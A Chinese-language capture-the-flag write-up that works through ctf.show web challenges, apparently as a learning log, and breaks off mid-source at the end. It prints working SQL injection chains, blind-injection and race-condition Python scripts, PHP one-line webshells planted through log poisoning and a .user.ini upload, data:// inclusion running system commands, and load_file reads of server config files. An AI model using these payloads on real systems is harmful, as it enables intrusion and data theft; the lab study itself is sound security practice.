web签到题(源码泄露) 源码泄露,注释base64解码
web2(sql注入) 简单sql注入,post传参username和password
password=1&username=1' or 1=1# //回显欢迎你,ctfshow password=1&username=-1' or 1=1 order by 4# //无回显 password=1&username=-1' or 1=1 order by 3# //回显欢迎你,ctfshow password=1&username=-1' union select 1,2,3# //回显2 password=1&username=-1' union select 1,database(),3# //回显web2 password=1&username=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3# //回显flag,user password=1&username=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3# //回显flag password=1&username=-1' union select 1,(select group_concat(flag) from flag),3# //获得flag
web3(文件包含) 文件包含,<?php include($_GET['url']);?>
,直接试试伪协议
url=data://text/plain,<?php system("ls");?> //ctf_go_go_go index.php url=data://text/plain,<?php system("tac ctf_go_go_go");?> //获得flag
web4(日志注入) 题目同上<?php include($_GET['url']);?>
,估计加了过滤, 先测测
url=data://text/plain,<?php system("ls");?> //报错
好吧,还可以尝试日志注入,在响应头中可以看到服务器为nginx,访问/var/log/nginx/access.log
,即nginx成功日志文件位置
发现日志文件中含有UA,那么将UA替换为一句话木马后访问就行
GET:url=/var/log/nginx/access.log&a=system("ls /"); UA:<?php eval($_GET[a])?>
但是注意这里flag文件不是在当前目录或者根目录下,而是在/var/www目录下,所以还是觉得蚁剑方便点
GET:url=/var/log/nginx/access.log&a=system("tac /var/www/flag.txt"); //获得flag
web5(php特性) <?php error_reporting(0); ?> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" /> <title>ctf.show_web5</title> </head> <body> <center> <h2>ctf.show_web5</h2> <hr> <h3> </center> <?php $flag=""; $v1=$_GET['v1']; $v2=$_GET['v2']; if(isset($v1) && isset($v2)){ if(!ctype_alpha($v1)){ die("v1 error"); } if(!is_numeric($v2)){ die("v2 error"); } if(md5($v1)==md5($v2)){ echo $flag; } }else{ echo "where is flag?"; } ?> </body> </html>
两个变量,一个需要为数字,一个需要为字母,md5加密后需要相等,直接0e绕过,但是注意,0e相等需要加密后0e后面全为数字,如果数字和字母混合则不行
v1=QLTHNDT&v2=240610708 字母加密后为0e405967825401955372549139051580 数字加密后为0e462097431906509019562988736854
web6(sql注入过滤空格) 猜测是加了过滤,先来测测
password=q&username=1' or 1=1# //回显sql inject error password=q&username=1'/**/or/**/1=1# //回显欢迎你,ctfshow password=q&username=1'/**/or/**/1=1/**/order/**/by/**/4# //无回显 password=q&username=1'/**/or/**/1=1/**/order/**/by/**/3# //回显欢迎你,ctfshow password=q&username=1'/**/union/**/select/**/1,2,3# //回显2 password=q&username=1'/**/union/**/select/**/1,database(),3# //回显web2,敢情加个过滤直接用 password=q&username=1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3# //回显flag,user password=q&username=1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3# //回显flag password=q&username=1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3# //获得flag
附个空格转/**/的脚本,不然自己输好麻烦
def replace_spaces (text ): return text.replace(' ' , '/**/' ) input_text = input ("请输入文本: " ) output_text = replace_spaces(input_text) print ("替换结果:" , output_text)
当然,这个题也可以sqlmap一把梭,常规基础加个--tamper=space2comment.py
就行
python sqlmap.py -u http://359fc1ce-ad1f-40dd-a7fe-92b7dd691ec0.challenge.ctf.show/ -batch --level=4 --data username=1&password=1 --tamper=space2comment.py --dbms=mysql --technique=U -dbs
经过尝试好像梭不了,环境有点小问题,但是理论就是这样的
web7(sql注入+’) 进入先看到三个链接,随便点一个发现url中出现了?id=1
,肯定试试是不是sql啊
id=-1' or 1=1# //报错 id=-1'/**/or/**/1=1# //成功显示三篇文章 id=-1'/**/or/**/1=1/**/order/**/by/**/4# //无回显 id=-1'/**/or/**/1=1/**/order/**/by/**/3# //成功显示三篇文章 id=-1'/**/union/**/select/**/1,2,3# //回显2,3 id=-1'/**/union/**/select/**/1,(database()),3# //回显web7 id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web7'),3# //无回显,猜测是过滤了单引号,可用双引号绕过 id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3# //回显flag,page,user id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3# //回显flag id=-1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3# //得到flag
web8(sql注入+,) 和上题一样的三个链接,直接万能密码测
id=-1' or 1=1# //报错,过滤空格 id=-1'/**/or/**/1=1# //报错,猜测过滤单引号 id=-1/**/or/**/1=1# //成功回显 id=-1/**/or/**/1=1/**/order/**/by/**/4# //无回显 id=-1/**/or/**/1=1/**/order/**/by/**/3# //成功回显 id=-1/**/union//select//1,2,3# //报错,猜测过滤union或者select id=-1/**/union# //报错 id=-1/**/select# //无回显 id=-1/**/or/**/substr(database(),1,1)="w"# //报错,猜测过滤逗号 id=-1/**/or/**/substr(database()from/**/1/**/for/**/1)="w"# //成功回显 既然这样有回显,那就是布尔盲注了,将以前写的脚本改成二分法试试
import requestsdef force (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<=right: mid=left+(right-left)//2 payload = {'id' :f"-1/**/or/**/(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata)from/**/{i} /**/for/**/1))>{mid} )" } r=requests.get(url=url,params=payload).text if ('A Child' in r): left=mid+1 else : right=mid-1 if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,库名为" +find) break def force1 (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<=right: mid=left+(right-left)//2 payload = {'id' :f"-1/**/or/**/(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\"{database} \")from/**/{i} /**/for/**/1))>{mid} )" } r=requests.get(url=url,params=payload).text if ('A Child' in r): left=mid+1 else : right=mid-1 if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,表名为" +find) break def force2 (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<=right: mid=left+(right-left)//2 payload = {'id' :f"-1/**/or/**/(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\"{table} \")from/**/{i} /**/for/**/1))>{mid} )" } r=requests.get(url=url,params=payload).text if ('A Child' in r): left=mid+1 else : right=mid-1 if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,列名为" +find) break def force3 (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<=right: mid=left+(right-left)//2 payload = {'id' :f"-1/**/or/**/(ascii(substr((select/**/group_concat({column} )/**/from/**/{table} )from/**/{i} /**/for/**/1))>{mid} )" } r=requests.get(url=url,params=payload).text if ('A Child' in r): left=mid+1 else : right=mid-1 if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,flag为" +find) break if __name__ =="__main__" : url='http://4d1ab496-a4f6-4028-a1f6-dee072ee2619.challenge.ctf.show' force(url) database=input ("请输入库名:" ) force1(url) table=input ("请输入表名:" ) force2(url) column=input ("请输入列名:" ) force3(url)
注意:这里在表名和列名时需要用\"\"
来包裹传入的库名和表名,(主要还是因为过滤了单引号)
web9(sql注入ffifdyop绕过md5) 第一眼看到admin以为弱口令,bp试了下没结果,毕竟一般不会考字典容量,不过还真有两个回显密码错误的
尝试扫下目录试试
python dirsearch.py -u http://363f4351-7329-4739-84e2-a914f67c55b6.challenge.ctf.show
访问robots.txt发现index.phps文件,访问自动下载,源码如下
<?php $flag ="" ; $password =$_POST ['password' ]; if (strlen ($password )>10 ){ die ("password error" ); } $sql ="select * from user where username ='admin' and password ='" .md5 ($password ,true )."'" ; $result =mysqli_query ($con ,$sql ); if (mysqli_num_rows ($result )>0 ){ while ($row =mysqli_fetch_assoc ($result )){ echo "登陆成功<br>" ; echo $flag ; } } ?>
看到md5($password,true)
,类似于[web187](web入门-sql注入 | Yxing ),通过传入密码ffifdyop
或数字型129581926211651571912466741651878684928
绕过,但是由于限制长度,所以只能输入ffifdyop
原理:ffifdyop
在经过php中md5加密且输出十六进制格式时,会出现'or'
6,就能绕过
输入ffifdyop查询的时候,查询语句变成:
SELECT * FROM admin WHERE username = 'admin' and password = '' or '6�]��!r,��b'
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在后来测试中发现,不只是1开头,只要是数字开头都是可以的。
web10(with rollup空值绕过) 题目 直接扫目录试试
python dirsearch.py -u https://0c57236c-0120-4d32-a9c7-2e160d19f119.challenge.ctf.show/
扫目录没结果,看了wp发现眼瞎了,有个取消按钮,直接点了就能下载源码??????
好吧,在css中也能发现,点击即送源码,源码如下
<?php $flag ="" ; function replaceSpecialChar ($strParam ) { $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i" ; return preg_replace ($regex ,"" ,$strParam ); } if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } if (strlen ($username )!=strlen (replaceSpecialChar ($username ))){ die ("sql inject error" ); } if (strlen ($password )!=strlen (replaceSpecialChar ($password ))){ die ("sql inject error" ); } $sql ="select * from user where username = '$username '" ; $result =mysqli_query ($con ,$sql ); if (mysqli_num_rows ($result )>0 ){ while ($row =mysqli_fetch_assoc ($result )){ if ($password ==$row ['password' ]){ echo "登陆成功<br>" ; echo $flag ; } } } ?>
就是将username和password都通过将某些字符替换为空格进行过滤,然后比较字符长度
因此可以通过with rollup
使得密码有一列为空,将password传入空就可以实现比较成功
password=&username='or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#
补充:with rollup
WITH ROLLUP
是 SQL 中 GROUP BY
子句的扩展,用于生成多层次的小计和总计(类似于数据透视表中的“总计”或“小计”行)。在汇总行中,被聚合的列会被标记为 NULL
(如示例中的 department
和 product
)。
假设有一个销售表 sales
,包含 department
(部门)、product
(产品)和 amount
(销售额):
department
product
amount
A
X
100
A
Y
200
B
X
150
B
Z
50
查询:
SELECT department, product, SUM (amount) AS totalFROM salesGROUP BY department, product WITH ROLLUP ;
结果:
department
product
total
A
X
100
A
Y
200
A
NULL
300
B
X
150
B
Z
50
B
NULL
200
NULL
NULL
500
web11(session密码匹配) <?php function replaceSpecialChar ($strParam ) { $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i" ; return preg_replace ($regex ,"" ,$strParam ); } if (strlen ($password )!=strlen (replaceSpecialChar ($password ))){ die ("sql inject error" ); } if ($password ==$_SESSION ['password' ]){ echo $flag ; }else { echo "error" ; } ?>
直接将源码输出,审计发现还是替换了password中的某些字符,抓包看看
看到cookie中有PHPSESSID=c4570e09e75b6164a1420788fba957a2
字样,但是我们不能更改服务器端的session,只能更改客户端的cookie,因此直接将PHPSESSID和password都改为空发包即可
注意:如果直接在密码处输入PHPSESSID,而不是实际密码,肯定是不匹配的,原因就是$_SESSION['password']
存储的是用户的实际密码而不是PHPSESSID,它根据你的PHPSESSID来确定服务器里面存的password是哪个,将它删掉,服务器就没法确认是哪个,将password置为空。然后你输入的password又为空,就能使题目的$password==$_SESSION['password']
条件成立
web12(命令执行禁用函数) 常规获取 一进去什么也没有,看看源码发现hint:?cmd=
,那就直接GET传参看看
cmd=phpinfo(); //说明存在命令执行漏洞,在disable_functions中发现了常见的执行命令的函数,换一些来实现 cmd=print_r(scandir(dirname('FILE'))); //发现903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php和index.php cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); //拿到flag cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); //也可获得flag
该题源码如下
<?php $cmd =$_GET ['cmd' ]; eval ($cmd ); ?>
日志注入 当然,也可以进行日志注入,传参包含日志文件然后上传马就行
GET:cmd=include("/var/log/nginx/access.log"); UA:<?php eval($_POST[a]);?>
这里要使用蚁剑,所以必须用POST传参,并且还要用蚁剑插件绕过disable_functions
没有插件的话在插件市场里面找,但是要外网或者热点,不然进不去,至于为什么热点可以,玄学吧
红包题第二弹(上传文件.执行命令) 同上,还是源码发现传参cmd
cmd=phpinfo(); //直接爆出源码了,源码如下
<?php if (isset ($_GET ['cmd' ])){ $cmd =$_GET ['cmd' ]; highlight_file (__FILE__ ); if (preg_match ("/[A-Za-oq-z0-9$]+/" ,$cmd )){ die ("cerror" ); } if (preg_match ("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/" ,$cmd )){ die ("serror" ); } eval ($cmd ); } ?>
过滤了大部分字母和符号,留下p . \ = < > ?
和反引号,参考web55 | Yxing](https://yxing-1.github.io/2025/02/19/web入门-命令执行/ ))
先新建一个html文件抓包,更改url
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > POST数据包POC</title > </head > <body > <form action ="http://e47f54b2-c7be-483d-a9dd-207362aa8fa5.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </form > </body > </html >
然后添加参数、文件内容和文件名字,原理就是先通过?>
闭合前面的php命令,<?=
相当于<?php echo
,反引号来执行命令,通配符来匹配命令,然后./执行
在php中,使用Content-Type: multipart/form-data;
上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir
参数为保存临时文件的路经,linux下面默认为/tmp
。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。
GET:?cmd=?><?=`.+/??p/p?p??????`; 文件内容为 #!/bin/sh ls /
改为cat /flag.txt
就行了,可能有概率错,多试几次就行
web13(文件上传通过.user.ini全局包含马) 一进去就是上传文件,先尝试上传个一句话木马上去
<?php eval ($_POST [123 ]);?>
果不其然失败了,扫扫目录看看
python dirsearch.py -u https://e4a9c4e5-cc11-4aa1-98ac-aa58984d5c06.challenge.ctf.show
扫了个upload.php就没结果了,去看了wp才知道可以尝试下载备份文件,发现upload.php.bak成功下载(”.bak” 通常是文件名中用于表示备份文件的一种常见扩展名。),过滤规则如下
<?php header ("content-type:text/html;charset=utf-8" ); $filename = $_FILES ['file' ]['name' ]; $temp_name = $_FILES ['file' ]['tmp_name' ]; $size = $_FILES ['file' ]['size' ]; $error = $_FILES ['file' ]['error' ]; $arr = pathinfo ($filename ); $ext_suffix = $arr ['extension' ]; if ($size > 24 ){ die ("error file zise" ); } if (strlen ($filename )>9 ){ die ("error file name" ); } if (strlen ($ext_suffix )>3 ){ die ("error suffix" ); } if (preg_match ("/php/i" ,$ext_suffix )){ die ("error suffix" ); } if (preg_match ("/php/i" ),$filename )){ die ("error file name" ); } if (move_uploaded_file ($temp_name , './' .$filename )){ echo "文件上传成功!" ; }else { echo "文件上传失败!" ; } ?>
限制文件内容长度和文件名不能有php,看wp学习下
首先在本地新建.user.ini(.user.ini 是 PHP 的用户级配置文件。这个文件允许用户在特定目录中自定义一些 PHP 配置选项,以覆盖全局 PHP 配置。),内容为auto_prepend_file=a.txt
(在PHP中,auto_prepend_file 指令用于指定一个在服务器上每个PHP脚本执行之前自动包含(预先包含)的文件。此时指定的文件是”a.txt”。)。
再新建a.txt,内容为<?php eval($_GET[123]);
先上传.user.ini,再上传a.txt。
在页面中向123传参即可
123=print_r(scandir(dirname('FILE'))); //回显中有文件903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php 123=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); //获得flag 123=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); 123=system("tac 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
web14(sql注入读文件) <?php include ("secret.php" );if (isset ($_GET ['c' ])){ $c = intval ($_GET ['c' ]); sleep ($c ); switch ($c ) { case 1 : echo '$url' ; break ; case 2 : echo '@A@' ; break ; case 555555 : echo $url ; case 44444 : echo "@A@" ; break ; case 3333 : echo $url ; break ; case 222 : echo '@A@' ; break ; case 222 : echo '@A@' ; break ; case 3333 : echo $url ; break ; case 44444 : echo '@A@' ; case 555555 : echo $url ; break ; case 3 : echo '@A@' ; case 6000000 : echo "$url " ; case 1 : echo '@A@' ; break ; } } highlight_file (__FILE__ );
首先,考察了switch的特性,满足一个语句时如果不break会继续向下进行,那么我们想输出url,但是又不想sleep太久,那就可以看到传参为3的时候可以执行6000000的情况然后输出url,获得here_1s_your_f1ag.php,访问
进入先弹了一个admin弹窗,然后就是一个查询框,猜测是sql注入
1 //有弹窗有回显 1' //有弹窗无回显 1 or 1=1# //无弹窗,猜测过滤空格 1/**/or/**/1=1# //有弹窗有回显 1/**/or/**/1=1/**/order/**/by/**/4# //有弹窗无回显 1/**/or/**/1=1/**/order/**/by/**/2# //有弹窗无回显 1/**/or/**/1=1/**/order/**/by/**/1# //有弹窗有回显 -1/**/union/**/select/**/database()# //回显web -1/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web')# //这是注意到源码中提示过滤了information_schema\.tables|information_schema\.columns|linestring| |polygon,用mysql.innodb_table_stats绕过 -1/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web'# //回显content
下面就是无列名注入,依次获取各行数据
-1/**/union/**/select(group_concat(`1`))from(select/**/1,2,3/**/union/**/select*from(content))vt //回显1,1,2,3 -1/**/union/**/select(group_concat(`2`))from(select/**/1,2,3/**/union/**/select*from(content))vt //回显2,admin,gtf1y,Wow -1/**/union/**/select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select*from(content))vt //回显3,flag is not here!,wow,you can really dance,tell you a secret,secret has a secret...
根据提示 tell you a secret,secret has a secret… 和主页中的 include(“secret.php”),尝试读取 secret.php 文件
数据库用户为 root, 使用高权限读写注入
操作系统为 linux, 中间件为 nginx,先读取 nginx 配置文件, 确认下网页根路径
-1/**/union/**/select/**/load_file("/etc/nginx/nginx.conf") // 确认网页根路径为 /var/www/html -1/**/union/**/select/**/load_file("/var/www/html/secret.php") //读取 secret.php 文件 -1/**/union/**/select/**/load_file("/real_flag_is_here") // 读取 real_flag_is_here
最终获得flag
红包题第六弹(上传文件条件竞争) 先看到一个输入框,看源码,没什么东西,扫目录看看
python dirsearch.py -u https://42f635e7-fec7-424f-8cf9-5162ea1ba843.challenge.ctf.show/ -e php,html,zip
看到一个web.zip
,可以把check.php
的备份下下来,源码刚好需要check.php
来进行验证,源码如下
function receiveStreamFile ($receiveFile ) { $streamData = isset ($GLOBALS ['HTTP_RAW_POST_DATA' ])? $GLOBALS ['HTTP_RAW_POST_DATA' ] : '' ; if (empty ($streamData )){ $streamData = file_get_contents ('php://input' ); } if ($streamData !='' ){ $ret = file_put_contents ($receiveFile , $streamData , true ); }else { $ret = false ; } return $ret ; } if (md5 (date ("i" )) === $token ){ $receiveFile = 'flag.dat' ; receiveStreamFile ($receiveFile ); if (md5_file ($receiveFile )===md5_file ("key.dat" )){ if (hash_file ("sha512" ,$receiveFile )!=hash_file ("sha512" ,"key.dat" )){ $ret ['success' ]="1" ; $ret ['msg' ]="人脸识别成功!$flag " ; $ret ['error' ]="0" ; echo json_encode ($ret ); return ; } $ret ['errormsg' ]="same file" ; echo json_encode ($ret ); return ; } $ret ['errormsg' ]="md5 error" ; echo json_encode ($ret ); return ; } $ret ['errormsg' ]="token error" ;echo json_encode ($ret );return ;
将data(i)MD5加密后与token进行比较,然后将客户端输入存储在flag.dat
文件中与key.dat
进行md5对比要求md5一致,但是sha512不一样,直接访问key.dat
进行下载即可。
那么这种情况肯定会出现条件竞争,也就是说flag.dat在比较完第一次之后被覆盖了的话,就可以满足第二个条件
贴个通过条件竞争的脚本(需将key.dat文件移至python脚本文件下)
import requestsimport timeimport hashlibimport threadingi=str (time.localtime().tm_min) m=hashlib.md5(i.encode()).hexdigest() def go_to (data ): try : url=f"http://42f635e7-fec7-424f-8cf9-5162ea1ba843.challenge.ctf.show/check.php?token={m} &php://input" s=requests.post(url,data=data) print (s.text) except Exception as e: pass with open ('key.dat' ,'rb' ) as t: data1=t.read() pass for i in range (20 ): threading.Thread(target=go_to,args=(data1,)).start() for i in range (20 ): data2='abbcd' threading.Thread(target=go_to,args=(data2,)).start()
红包题第七弹(git泄露,蚁剑插件绕过) 一进来就是个phpinfo()
界面,先看看禁用函数
然后没思路了,尝试扫目录
python dirsearch.py -u http://0bed9f86-9d19-48e8-8b86-5294559bc860.challenge.ctf.show/
看到403的.git
,看了wp知道这种情况一般都是存在文件夹,但是不能直接访问导致的,通过git_extract
工具来提取,项目地址 。好吧,还是上虚拟机去了,这玩意要python2,不然有个库没得,kali中没自带,还是要下了放进去
python2 git_extract.py http://0bed9f86-9d19-48e8-8b86-5294559bc860.challenge.ctf.show/.git/
提取到个backdoor文件,打开发现如下
!-- 36 D姑娘留的后门,闲人免进 --> <?php @eval ($_POST ['Letmein' ]); ?>
那就可以直接去命令执行了,用蚁剑插件绕过最好
url;http://0bed9f86-9d19-48e8-8b86-5294559bc860.challenge.ctf.show/backdoor.php 密码:Letmein
选模式时选择这个,如何下载插件在前面的web12中提到过
萌新专属红包题(弱口令) 看到登录框,又看到萌新,那就先试试弱口令
还真找到了,用户名为admin,密码为admin888,并且直接在下方响应就可以看到flag,base64解码即可
ctfshow_web1(sql注入布尔盲注) 先扫个目录再说
python dirsearch.py -u https://687e2d6a-18c9-4de2-aa71-6b65553a328c.challenge.ctf.show/
可以看到www.zip
,访问先下载看看,直接看里面的login.php
,源码如下
<?php error_reporting (0 ); session_start (); $con = mysqli_connect ("localhost" ,"root" ,"root" ,"web15" ); if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } $username =$_POST ['username' ]; $password =$_POST ['password' ]; if (isset ($username ) && isset ($password )){ if (preg_match ("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i" ,$username )){ die ("error" ); } $sql ="select pwd from user where uname = '$username ' limit 1" ; $res =mysqli_query ($con ,$sql ); $row = mysqli_fetch_array ($res ); if ($row ['pwd' ]===$password ){ $_SESSION ["login" ] = true ; header ("location:/user_main.php?order=id" ); }else { header ("location:/index.php" ); } }else { header ("location:/index.php" ); } ?>
但是感觉不好注入,先尝试注册个账号进去看看,看到一个用户名为flag的账号,得知flag在该用户密码中
这里还涉及到了user_main.php
和reg.php
文件,源码如下
<?php if (isset ($_SESSION ["login" ]) && $_SESSION ["login" ] === true ){ $con = mysqli_connect ("localhost" ,"root" ,"root" ,"web15" ); if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } $order =$_GET ['order' ]; if (isset ($order ) && strlen ($order )<6 ){ if (preg_match ("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i" ,$order )){ die ("error" ); } $sql ="select * from user order by $order " ; }else { $sql ="select * from user order by id" ; } ?>
<?php error_reporting (0 ); $con = mysqli_connect ("localhost" ,"root" ,"root" ,"web15" ); if (!$con ) { die ('Could not connect: ' . mysqli_error ()); } $username =$_POST ['username' ]; $password =$_POST ['password' ]; $email =$_POST ['email' ]; $nickname =$_POST ['nickname' ]; if (preg_match ("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i" ,$username )){ die ("error" ); } if (preg_match ("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i" ,$password )){ die ("error" ); } if (preg_match ("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}\]|\'|\’|\“|\"|\<|\>|\?/i" ,$email )){ die ("error" ); } if (preg_match ("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\]|\;|\'|\’|\“|\"|\<|\>|\?/i" ,$nickname )){ die ("error" ); } if (isset ($username ) && isset ($password ) && isset ($email ) && isset ($nickname )){ $sql = "INSERT INTO user (uname, pwd, email,nname) VALUES ('$username ', '$password ', '$email ','$nickname ')" ; $res =mysqli_query ($con , $sql ); if ($res ) { $_SESSION ["login" ] = true ; header ("location:/index.php" ); } } mysqli_close ($conn ); ?>
得知密码列为pwd,那么就可以通过已知注册用户密码和flag来进行比较,通过位置来确定每一个字符,类似于布尔盲注,以下贴个师傅的脚本
import requests as rfrom requests.packages import urllib3; urllib3.disable_warnings()url_reg = 'https://687e2d6a-18c9-4de2-aa71-6b65553a328c.challenge.ctf.show/reg.php' url_user = 'https://687e2d6a-18c9-4de2-aa71-6b65553a328c.challenge.ctf.show/user_main.php' chars = '-0123456789abcdefghijklmnopqrstuvwxyz}~' cookie = {'PHPSESSID' : 'e998b37a8ec7dce460e261f764d79ef6' } def check (flag ): with r.Session() as s: for i in range (len (chars)): char = chars[i] data = { 'username' : flag + char, 'password' : flag + char, 'email' : 'email' , 'nickname' : 'nickname' , } s.post(url_reg, data=data, verify=False ) resp_user = s.get(url_user, params={'order' : 'pwd' }, verify=False , cookies=cookie) if resp_user.text.find('<td>' + data['username' ] + '</td>' ) > resp_user.text.find('flag' ): if chars[i]=='}' : return chars[i] else : return chars[i-1 ] flag = 'ctfshow{' while flag[-1 ] != '}' : flag += check(flag) print (flag) else : exit()
game-gyctf web2(pop反序列化,字符逃逸,重看!!!) 尝试sql注入
password=1&username=1' or 1=1# //回显Damn you, hacker!,猜测绕过空格 password=1&username=1'/**/or/**/1#
但是发现扫目录扫出东西了,扫出来个www.zip,里面有源码,~~喜出望外~~,源码如下
<?php require_once ('lib.php' );?> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>login</title> <center> <form action="login.php" method="post" style="margin-top: 300" > <h2>百万前端的用户信息管理系统</h2> <h3>半成品系统 留后门的程序员已经跑路</h3> <input type="text" name="username" placeholder="UserName" required> <br> <input type="password" style="margin-top: 20" name="password" placeholder="password" required> <br> <button style="margin-top:20;" type="submit" >登录</button> <br> <img src='img/1.jpg' >大家记得做好防护</img> <br> <br> <?php $user =new user ();if (isset ($_POST ['username' ])){ if (preg_match ("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i" , $_POST ['username' ])){ die ("<br>Damn you, hacker!" ); } if (preg_match ("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i" , $_POST ['password' ])){ die ("Damn you, hacker!" ); } $user ->login (); } ?> </form> </center>
<?php require_once ('lib.php' );echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>' ;if ($_SESSION ['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users =new User ();$users ->update ();if ($_SESSION ['login' ]===1 ){ require_once ("flag.php" ); echo $flag ; } ?>
<?php error_reporting (0 );session_start ();function safe ($parm ) { $array = array ('union' ,'regexp' ,'load' ,'into' ,'flag' ,'file' ,'insert' ,"'" ,'\\' ,"*" ,"alter" ); return str_replace ($array ,'hacker' ,$parm ); } class User { public $id ; public $age =null ; public $nickname =null ; public function login ( ) { if (isset ($_POST ['username' ])&&isset ($_POST ['password' ])){ $mysqli =new dbCtrl (); $this ->id=$mysqli ->login ('select id,password from user where username=?' ); if ($this ->id){ $_SESSION ['id' ]=$this ->id; $_SESSION ['login' ]=1 ; echo "你的ID是" .$_SESSION ['id' ]; echo "你好!" .$_SESSION ['token' ]; echo "<script>window.location.href='./update.php'</script>" ; return $this ->id; } } } public function update ( ) { $Info =unserialize ($this ->getNewinfo ()); $age =$Info ->age; $nickname =$Info ->nickname; $updateAction =new UpdateHelper ($_SESSION ['id' ],$Info ,"update user SET age=$age ,nickname=$nickname where id=" .$_SESSION ['id' ]); } public function getNewInfo ( ) { $age =$_POST ['age' ]; $nickname =$_POST ['nickname' ]; return safe (serialize (new Info ($age ,$nickname ))); } public function __destruct ( ) { return file_get_contents ($this ->nickname); } public function __toString ( ) { $this ->nickname->update ($this ->age); return "0-0" ; } } class Info { public $age ; public $nickname ; public $CtrlCase ; public function __construct ($age ,$nickname ) { $this ->age=$age ; $this ->nickname=$nickname ; } public function __call ($name ,$argument ) { echo $this ->CtrlCase->login ($argument [0 ]); } } Class UpdateHelper{ public $id ; public $newinfo ; public $sql ; public function __construct ($newInfo ,$sql ) { $newInfo =unserialize ($newInfo ); $upDate =new dbCtrl (); } public function __destruct ( ) { echo $this ->sql; } } class dbCtrl { public 